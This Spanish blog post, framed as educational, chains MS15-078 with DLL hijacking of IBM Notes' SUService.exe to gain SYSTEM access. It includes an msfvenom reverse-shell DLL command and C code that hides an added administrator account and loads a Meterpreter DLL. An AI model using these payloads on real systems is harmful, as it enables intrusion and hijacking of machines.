En la primera parte y segunda parte de esta serie de artículos vimos cómo aprovechar la vulnerabilidad MS15-078 para escribir en una ruta privilegiada y luego cómo identificar posibles aplicaciones y servicios vulnerables a DLL hijacking.
En este último post aprovecharemos estas dos vulnerabilidades juntas para obtener privilegios de SYSTEM a partir de un usuario sin privilegios de administrador.
Lo primero que haremos será crear una DLL maliciosa. Aquí tenemos dos opciones:
- Utilizar Msfvemon ( /msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=X.X.X.X LPORT=4444 > /tmp/uXtheme.dll ).
- Compilar nuestra propia DLL, para que añada un usuario administrador al equipo (o lo que queramos :D ) y cargue otra DLL maliciosa con un Meterpreter.
#include BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved) { switch(dwReason) { case DLL_PROCESS_ATTACH: Sleep(1000); WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net users Brian ThisIsNotMyPassWD /add", SW_HIDE); WinExec("C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\powershell.exe net localgroup administrators Brian /add", SW_HIDE); HINSTANCE hInstLibrary = LoadLibrary("C:\\Users\\John\\Desktop\\WinLoad.dll"); Sleep(30000); } }
Si queréis algo más complejo el código que usa Metasploit para crear la DLL se puede obtener de aquí. Lo que hace es crear un proceso suspendido, escribe el shellcode y…
Con nuestra DLL ya creada procederemos a aprovechar la vulnerabilidad ms15-078 para escribir en una ruta privilegiada, como vimos en la primera entrada. En nuestro caso escribiremos en la carpeta de IBM (‘C:\Program Files (x86)\IBM\Notes\‘), donde identificamos que el servicio SUService.exe intenta cargar la DLL UXTheme y no la encuentra, tal y como vimos en el post anterior.
Con nuestra DLL in place, todo el trabajo está ya hecho y lo único que tendremos que hacer es reiniciar el equipo o el servicio (en nuestro caso no tenemos privilegios). Una vez reiniciamos el equipo cuando Windows empieza a cargar todo de nuevo, podemos ver en nuestro listener cómo se nos abre una nueva sesión.
Interactuamos con la sesión y hacemos un net users y vemos cómo nuestro usuario administrador ‘Brian’ se ha creado correctamente.
Con lo que finalmente hemos conseguido nuestro objetivo de obtener privilegios de administrador local en el equipo de John. Espero os hayan gustado las entradas y como siempre, todo lo descrito se muestra con propósitos educativos y para señalar lo importante que es mantener los sistemas parcheados :)